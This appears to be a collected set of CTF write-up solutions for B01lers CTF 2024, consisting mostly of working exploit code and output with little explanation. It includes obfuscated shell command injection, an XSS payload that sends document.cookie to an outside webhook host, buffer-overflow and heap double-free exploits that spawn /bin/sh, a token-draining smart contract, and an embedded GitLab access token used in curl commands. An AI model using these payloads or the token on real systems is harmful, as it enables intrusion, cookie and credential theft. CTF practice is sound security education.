$ ||cat${IFS}/flag.txt
sh: 1: wa: not found
bctf{wabash:_command_not_found521065b339eb59a71c06a0dec824cd55}
$ cat with | ls | xargs cat
bctf{owwwww_th4t_hurt}#!/usr/local/bin/python3
...
<script>window.location.replace(String.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(115)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(101)%2BString.fromCharCode(98)%2BString.fromCharCode(104)%2BString.fromCharCode(111)%2BString.fromCharCode(111)%2BString.fromCharCode(107)%2BString.fromCharCode(46)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(47)%2BString.fromCharCode(57)%2BString.fromCharCode(99)%2BString.fromCharCode(97)%2BString.fromCharCode(54)%2BString.fromCharCode(98)%2BString.fromCharCode(48)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(45)%2BString.fromCharCode(98)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(99)%2BString.fromCharCode(45)%2BString.fromCharCode(52)%2BString.fromCharCode(102)%2BString.fromCharCode(48)%2BString.fromCharCode(98)%2BString.fromCharCode(45)%2BString.fromCharCode(98)%2BString.fromCharCode(51)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(45)%2BString.fromCharCode(57)%2BString.fromCharCode(102)%2BString.fromCharCode(99)%2BString.fromCharCode(99)%2BString.fromCharCode(101)%2BString.fromCharCode(57)%2BString.fromCharCode(56)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(102)%2BString.fromCharCode(100)%2BString.fromCharCode(101)%2BString.fromCharCode(63)%2Bdocument.cookie)</script>
Since super_optimized_function
is just the Fibonacci series, we can calculate the value in advance.
> cache=[],fib=x=>x<=1n?x:cache[x]?cache[x]:(cache[x]=fib(x-1n)+fib(x-2n));fib(BigInt(0x5a))
2880067194370816120n
Then we just use GEF with GDB.
gef➤ stub --retval 2880067194370816120 super_optimized_calculation
Breakpoint 1 at 0x555555555171
[+] All calls to 'super_optimized_calculation' will be skipped (with return value set to 0x27f80ddaa1ba7878)
gef➤ run
Starting program: /home/southball/ctf/B01lersCTF2024/Annnnnnny Second Now/Annnnnnny-Second-Now
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] Ignoring call to 'super_optimized_calculation' (setting return value to 0x27f80ddaa1ba7878)
bctf{what's_memoization?}
BoF
from pwn import *
_r = remote("gold.b01le.rs", 4004)
win = 0x004011DD
p = b"A" * 158
p += p64(win)
_r.recvline()
_r.sendline(p)
_r.interactive()
# bctf{h0w_@bo0ut_a_n1ce_g@m3_0f_ch3ss?_ccb7a268f1324c84}
The code is obfuscated, so we use https://deobfuscate.io/
to deobfuscate the code and ChatGPT to make the variable names make sense. Then solve the password to be "p4wR0d"
.
> require("crypto-js").AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", "p4wR0d").toString(require("crypto-js").enc.Utf8);
'bctf{345y-p4s5w0rd->w<}'
$ git clone https://shazly:glpat-R-Td9nSxVAHW-72qxt5M@gitlab.com/b01lersparlay/GenerationalWealth
$ curl https://shazly:glpat-R-Td9nSxVAHW-72qxt5M@gitlab.com/api/v4/projects/56114917/secure_files?per_page=100
$ curl https://shazly:glpat-R-Td9nSxVAHW-72qxt5M@gitlab.com/api/v4/projects/56114917/secure_files/1070175/download
bctf{ruby_regex_is_goated_gitlab_api_is_cursed_6688}
from PIL import Image
import numpy as np
older = Image.open('orig.jpg')
newer = Image.open('pete.png')
older = np.array(older)
newer = np.array(newer)
result = np.array([], dtype=np.bool_)
for i in range(older.shape[0]):
for j in range(older.shape[1]):
if (older[i][j][0] != newer[i][j][0] or older[i][j][1] != newer[i][j][1] or older[i][j][2] != newer[i][j][2]):
# print(i, j, older[i][j], newer[i][j], newer[i][j]/older[i][j]==2)
result = np.append(result, (newer[i][j]/older[i][j]==2))
bits = ''.join(list(map(lambda x: '0' if x else '1', list(result))))
def bits2a(b):
return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8))
import base64
print(base64.b64decode(eval(bits2a(bits)).decode()))
# bctf{Go_b01lerCTFmakers!}
contract stealer {
function getToken(address addr) public {
burgercoin b = burgercoin(addr);
b.purchaseBurger();
}
function transferToMyWallet(address addr, address wallet) public {
burgercoin b = burgercoin(addr);
b.transfer(wallet, 1);
}
}
Then we just deploy the stealer
contract, call getToken
and transferToMyWallet
repeatedly until we have 30 burgercoins. We then call transferBurgerjointOwnership
using our own wallet and transfer
all our coins to another wallet, e.g. the stealer
contract. The flag is bctf{you_made_b01lerburgers_go_bankrupt_rip}
.
from Crypto.Util.number import long_to_bytes
from math import gcd
e = 8190
n = 665515140120452927777672138241759151799589898667434054796291409500701895847040006534274017960741836352283431369658890777476904763064058571375981053480910502427450807868148119447222740298374306206049235106218160749784482387828757815767617741823504974133549502118215185814010416478030136723860862951197024098473528800567738616891653602341160421661595097849964546693006026643728700179973443277934626276981932233698776098859924467510432829393769296526806379126056800758440081227444482951121929701346253100245589361047368821670154633942361108165230244033981429882740588739029933170447051711603248745453079617578876855903762290177883331643511001037754039634053638415842161488684352411211039226087704872112150157895613933727056811203840732191351328849682321511563621522716119495446110146905479764695844458698466998084615534512596477826922686638159998900511018901148179784868970554998882571043992165232556707995154316126421679595109794273650628957795546293370644405017478289280584942868678139801608538607476925924119532501884957937405840470383051787503858934204828174270819328204062103187487600845013162433295862838022726861622054871029319807982173856563380230936757321006235403066943155942418392650327854150659087958008526462507871976852849
c = 264114212766855887600460174907562771340758069941557124363722491581842654823497784410492438939051339540245832405381141754278713030596144467650101730615738854984455449696059994199389876326336906564161058000092717176985620153104965134542134700679600848779222952402880980397293436788260885290623102864133359002377891663502745146147113128504592411055578896628007927185576133566973715082995833415452650323729270592804454136123997392505676446147317372361704725254801818246172431181257019336832814728581055512990705620667354025484563398894047211101124793076391121413112862668719178137133980477637559211419385463448196568615753499719509551081050176747554502163847399479890373976736263256211300138385881514853428005401803323639515624537818822552343927090465091651711036898847540315628282568055822817711675290278630405760056752122426935056309906683423667413310858931246301024309863011027878238814311176040130230980947128260455261157617039938807829728147629666415078365277247086868327600962627944218138488810350881273304037069779619294887634591633069936882854003264469618591009727405143494184122164870065700859379313470866957332849299246770925463579384528152251689152374836955250625216486799615834558624798907067202005564121699019508857929778460
K = GF(n)
m = K(c).nth_root(e)
print(long_to_bytes(m))
# bctf{Pr1M3_NUM83r5_4r3_C001_bu7_7H3Y_4r3_57r0N6_0N1Y_WH3N_7H3Y_4r3_MU171P113D_3V3N_1F_7H3Y_4r3_b1g}
from pwn import *
from Crypto.Util.number import long_to_bytes
# r = process(["python3", "chal.py"])
r = remote("gold.b01le.rs", 5001)
M, N = None, None
while True:
r.recvuntil(b"Enter the bit length of your primes> ")
r.sendline(b"60")
n = int(r.recvline().decode().strip().split(" = ")[1], 16)
e = int(r.recvline().decode().strip().split(" = ")[1], 16)
c = int(r.recvline().decode().strip().split(" = ")[1], 16)
(p1, _), (p2, _) = factor(n)
phi = (p1 - 1) * (p2 - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)
if M is None:
M, N = m, n
continue
M_ = crt([M, m], [N, n])
N_ = lcm(N, n)
if M == M_:
break
M, N = M_, N_
print(long_to_bytes(int(M))[200:-200].decode())
# bctf{dont_let_the_user_choose_the_prime_length_>w<}
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
# r = process(["python3", "chal.py"])
r = remote("gold.b01le.rs", 5002)
r.recvuntil(b"Treat or Trick, count my thing. \n")
ciphertext = r.recvline().strip().decode()
r.send((b"0" * len(ciphertext) + b"\n") * (257 - 2 + 1))
for i in range(2, 257):
# print("Step", i)
r.recvuntil(b"Give me something to encrypt: ")
# r.sendline(b"0" * len(ciphertext))
keystream = r.recvline().strip()
if i == 256:
print(long_to_bytes(bytes_to_long(bytes.fromhex(ciphertext)) ^ bytes_to_long(bytes.fromhex(keystream.decode()))).decode())
# bctf{there_is_a_reason_for_random_nonce_and_with_fixed_length_8c6bf5a1398d1f1d95f1}
We can factorize using binary search as are uniquely determined once is fixed.
Once we factorized , we will get topG
by determining after finding the order of
from Crypto.Util.number import *
n = 515034877787990680304726859216098826737559607654653680536655175803818486402820694536785452537613547240092505793262824199243610743308333164103851365420630137187276313271869670701737383708742526677
e = 31337
bottomG = matrix(Zmod(n), [[247714609729115034577268860647809503348452679955541765864525644036519903244610407544592438833012659821363982836831477850927621505723503202914955484784761468695340160789629882004055804409080695867,331625142917011732363496584111977497826539848810596405639715608289185491230192921594585113936516744954068559616963395888825085234835086592835782522823153199824647815923311303312529222423487842184,55437288185949549641415195099137917985198178875175317590356850868652628068256771878957686344008331498612071069691453711091201145528626750365270496738628725699281809961803599963127434726167609435,514660916099185196031776141538776359410382339048282799109733569738126784171011249457518653961429789338579350043906060924939800730829826389077489637524528092592193187169747629063004980325000389554,432908737089369750416720813650504950741227543859957288298129130571557758647818791153409184252564534925607409378801765727301405467691263041798341098982058861749568674152447781841703730861074171486],
[104171307746966345345857299403770324392522334886728513788970028646835780770090370816961277474173463662053179135418083415763603092683905102293259569143230591686555033557056635683615214642425173517,281995809329109899498417283591516891672267505291547187769414960759245222376040526984420670509684233818236456944690830422135256653807646369718495017051487254128669606210585168140190305476396414836,448210297704655248563230644309382726474650012116320871206976601497778210586480264554625801730855872456388662647389829317946932942681549854741993522145903386318540208729036379511878276729211658861,399193502999265141959383452857091791757532600793923480036782294759164203783245516880539439411508616363396395258745387111132143827593272610961260623660064934154238955120293971424750525097551648180,448909699677346701183758951038319440723583288307818355958233994863175886710495171317606803723159576428485212274726596045235998230677229224379125716760136092533604817049730746550292371970711497032],
[10383824979618791372207750490225860866360446289011667617367731854443817405025701872398853456038612719059056477356275566409859556622099910727870579661815727983662245805512246175424036918556245316,3042212133475156282375315438954933898496627384941849067508473136817427432524109900983912625376319043681252528210663860374506706029777992048856493297280439498831646567645849063286941560111486091,303901520908845557762276355500926092138935908381564097855093945643653520650021074626397106363589843089839561176214123648988682404983806374183953260408815900582907133898417354283905163971086566554,385414980407334346707284477209921028250475161696209076212214696858828374481374774762344617183479700018626970039426895699261230837253656355202103718574806419224338390036737550645417315148014935208,172437598435610362668691083369422058178612127588567286669952095014310724933793758671802664372505747578789080527221296229242137567445447449560987571505575740311394634799579166058011734727404038041],
[459726837943530454128170171077760511486009487765694189770202436458018005866133157577824055980174845256397040485330898693944501922148000904627621334536523927325451030816598478315788682056071758797,318766645374831072244114015670117551595181174553017703335802708316885112551395705202907958737214488185739954176085085611052360624160681549561415131064529778955941226762589967588568203157586014646,485361005374731090711430490780588207888099824436671620066599360058262282812311497518237782819588602409946446254729349547214950452718084694554650900064587640931729162822096611158015732013679765115,442488981185685119421099225895492967006907103880489001122993678677306129218035946328038537612725434883858276836497639772750576738969390151812664236525222680918250542360570252193283310559820113337,294017672174100375503817924437430140826863578191649796300540064690169411498877218939778928997294952104395700469268399214549954967540991489929488976904050382049934179672641195866868009511101289284],
[394288980150370144394508377797340867635320394706221783789360450886862330500083595146934277232717671435601428999455723360437715407992902972393377872146437245909234935183690525050686313034961250106,174537062539250527750306397111216900339583030576848484858177223085331307339246744122607759453386390209872407563526999813562242756044330978624067706177762337375480164381575660119163723806663394768,167378817268639407255382001659131271694745168867873206910416580974376327982114272760583238198872032832961214636912981493082249850676384736073683786291369414678559758485110038329085571864758144806,479478683656492256273719495784577239188841595512723735000697935028851355713461770920044121053505358284609828319371252306609569657211738503902322975549066701614139339082341370785743668742796520457,468925056254460005965810812432459057693038841264871939568448625553319440670497244388153862616274082271409346691280049609288322448351851208172939513793874861880752049454593563028452119997997329883]])
def nextPrime(p):
if isPrime(p):
return p
else:
return nextPrime(p+1)
def factorize():
lb = 1<<127
ub = 1<<128
while abs(lb-ub) > 1:
x = (lb+ub)//2
print(x)
p1 = nextPrime(x)
p2 = nextPrime(p1*1)
p3 = nextPrime(p2*3)
p4 = nextPrime(p3*3)
p5 = nextPrime(p4*7)
n_ = p1*p2*p3*p4*p5
if n > n_:
lb = x
elif n < n_:
ub = x
else:
return p1, p2, p3, p4, p5
p1, p2, p3, p4, p5 = factorize()
assert n == p1*p1*p3*p4*p5
qs = [p1**2, p3, p4, p5]
order = 1
for q in qs:
for i in range(5):
order *= q**5-q**i
d = pow(e, -1, order)
topG = bottomG**d
flag = b""
for row in topG:
for num in row:
num = int(num)
flag += long_to_bytes(num)
print(flag)
# bctf{c0ngr4ts_y0u_35c4p3d_th3_m4tr1c3s, but really how? what color is your honda civic? sorry i just need to make this long.}
public.pem
and private key as private.pem
.small.png
.small.png
and public.pem
with a line break to form upload.png
.upload.png
.kid
equal to ../uploads/<uuid>.png
and admin
equal to true
.bctf{should've_used_imgur}
.";A=a;B=b;C=c;E=e;S=s;T=3;c${A}t app.py|he${A}d -c 176|t${A}il -c1>SLASH;re${A}d SEP<SLASH;${C}p ${SEP}flag.png as${S}ets${SEP}flag.png;${E}cho "
The flag is bctf{Lucky_you_I_did_not_code_this_stuff_in_Ruby_lasudkjklhdsfkhjkae}
.
from pwn import *
N = 53
solution = ['b', 'c', 't', 'f', '{', 'Y', '0', 'U', '_', '4', 'r', 'E', '_', 'f', 'U', 'l', 'l', '_', 'o', 'f', '_', 'b', 'u', '1', '1', None, None, None, None, '_', 'C', '+', '+', '_', '1', 's', '_', '@', '_', 'h', '0', 'r', 'r', 'i', '8', 'l', 'e', '_', 'l', 'a', 'n', 'g', '}']
for i in solution:
if i is not None:
print(i, end="")
else:
print("*", end="")
print()
import sys
sys.exit(0)
for i in range(N):
if solution[i] is not None:
continue
for c in range(32, 127):
o = chr(c)
# r = process(["python3", "compile.py"])
print(i, chr(c))
r = remote("gold.b01le.rs", 7003)
r.sendlineafter(b"Input your code: ", f"Jail<bool>::lock<'{o}',{i}>j;static_assert(sizeof(decltype(j))==4);")
line = r.recvline()
print(line)
r.close()
if b"Prisoner 2" in line:
solution[i] = chr(c)
print(solution)
break
print(solution)
and fill the unknown characters with *
. The flag is bctf{Y0U_4rE_fUll_of_bu11****_C++_1s_@_h0rri8le_lang}
.
libc leak + double free
from pwn import *
_r = remote("gold.b01le.rs", 4001)
def alloc(where, size=0x20):
_r.sendlineafter(b"Resize----\n", b"1")
_r.sendlineafter(b"Where?", str(where).encode())
_r.sendlineafter(b"size?", str(size).encode())
def free(where):
_r.sendlineafter(b"Resize----\n", b"2")
_r.sendlineafter(b"Where?", str(where).encode())
def view(where):
_r.sendlineafter(b"Resize----\n", b"3")
_r.sendlineafter(b"Where?", str(where).encode())
_r.recv(0x10)
return _r.recvline().strip()
def edit(where, size, content):
_r.sendlineafter(b"Resize----\n", b"4")
_r.sendlineafter(b"Where?", str(where).encode())
_r.sendlineafter(b"size?", str(size).encode())
_r.sendline(content)
alloc(0, 0x420)
alloc(1, 0x420)
free(0)
leak = u64(view(0).ljust(8, b"\0"))
main_arena_offset = 0x3EBC40 + 0x70 - 0x10
libc_base = leak - main_arena_offset
libc_base = libc_base - 0x37000 + 0x73000
print(f"{libc_base = :#x}")
libc = ELF("./libc.so.6")
libc.address = libc_base
alloc(0)
free(0)
free(0)
alloc(0)
edit(0, 0x8, p64(libc.symbols.__free_hook))
print(f"{libc.symbols.__free_hook = :#x}")
alloc(0)
alloc(0)
edit(0, 0x8, p64(libc.symbols.system))
print(f"{libc.symbols.system = :#x}")
alloc(0)
edit(0, 0x8, "/bin/sh")
free(0)
_r.interactive()
# bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}
Read the Python bytecode file using dis.dis
, comparing the disassembled code with that of a simple try-catch-finally loop. Optimize the calculation using matrix multiplication and fishy optimizations.
import os
import sys
sys.setrecursionlimit(2000000)
var5 = os.urandom(8)
var6 = 1
print("You're Lucky")
print("Here is your flag: ", end="")
var12 = [96, 98, 68, 160, 172, 115, 20, 108, 25, 122, 208, 71, 158, 63, 233, 59, 180, 165, 115, 203, 177, 17, 166, 196, 255, 127, 70, 172, 55, 11, 204, 20, 198, 31, 60, 167, 17, 1, 132, 106, 195, 19, 38, 151, 203, 163, 211, 27, 73, 98]
import numpy as np
MOD = 1000000007
MF = np.array([[1, 0, 0], [0, 1, 0], [0, 0, 1]])
for var16 in range(15):
if var16 % 3 == 0 and var16 % 5 == 0:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 0]])
MF = np.dot(M, MF) % MOD
elif var16 % 3 == 0:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 1]])
MF = np.dot(M, MF) % MOD
elif var16 % 3 == 1:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 0]])
MF = np.dot(M, MF) % MOD
elif var16 % 3 == 2:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 1]])
MF = np.dot(M, MF) % MOD
def matpow(M, n):
if n == 0:
return np.eye(3, dtype=int)
if n % 2 == 0:
return matpow(np.dot(M, M) % MOD, n // 2)
return np.dot(M, matpow(M, n - 1)) % MOD
v = np.array([1, 2, 3])
MA = np.eye(3, dtype=int)
LMOD = (MOD ** 9 + 1) * 15
for var14 in range(0, 50):
if var14 < 25:
var6 = 3 ** var14
pcom, prem = var6 // 15, var6 % 15
else:
ttl = (15 * pcom + prem) ** 3
pcom = (ttl // 15) % LMOD
prem = ttl % 15
MA = matpow(MF, pcom) % MOD
for var16 in range(prem):
if var16 % 3 == 0 and var16 % 5 == 0:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 0]])
MA = np.dot(M, MA) % MOD
elif var16 % 3 == 0:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 1]])
MA = np.dot(M, MA) % MOD
elif var16 % 3 == 1:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 1, 0]])
MA = np.dot(M, MA) % MOD
elif var16 % 3 == 2:
M = np.array([[0, 1, 0], [0, 0, 1], [1, 0, 1]])
MA = np.dot(M, MA) % MOD
v = np.array([1, 2, 3])
v = np.dot(MA, v) % MOD
var19, var20, var21 = v
var23 = var12[var14] ^ (var19 & 255)
print(chr(var23), end="")
sys.stdout.flush()
# bctf{we1rd_pyth0nc0d3_so1v3_w1th_f4s7_M47r1x_Mu1t}